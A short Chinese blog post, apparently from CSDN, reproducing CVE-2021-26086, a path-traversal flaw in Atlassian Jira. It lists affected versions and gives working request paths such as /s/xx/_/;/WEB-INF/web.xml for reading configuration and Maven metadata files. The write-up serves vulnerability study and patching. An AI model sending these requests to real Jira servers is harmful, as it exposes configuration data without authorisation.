Atlassian Jira 路径遍历（CVE-2021-26086）

风中追风-fzzf

于 2024-07-19 10:06:16 发布

阅读量274

点赞数 1

分类专栏： # 目录穿越/遍历文章标签： atlassian jira

本文链接：https://blog.csdn.net/qq_23003811/article/details/140541337

版权

目录穿越/遍历专栏收录该内容

13 篇文章 0 订阅

订阅专栏

一、漏洞概述

Atlassian JIRA是一个项目管理和开发管理工具，Atlassian Jira 服务器和数据中心版本允许远程攻击者通过 /WEB-INF/web.xml 端点中的路径遍历漏洞读取特定文件。

二、影响范围

8.5.14 之前的版本

8.13.6 之前的 8.6.0 版本

8.16.1 之前的 8.14.0 版本

三、访问页面

四、漏洞复现

1、访问/WEB-INF/目录下的文件，跳不出/WEB-INF/目录。

/s/cfx/_/;/WEB-INF/web.xml

2、可以访问的一些文件

/s/xx/_/;/WEB-INF/web.xml 
/s/xx/_/;/WEB-INF/decorators.xml 
/s/xx/_/;/WEB-INF/classes/seraph-config.xml 
/s/xx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties 
/s/xx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml 
/s/xx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml 
/s/xx/_/;/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties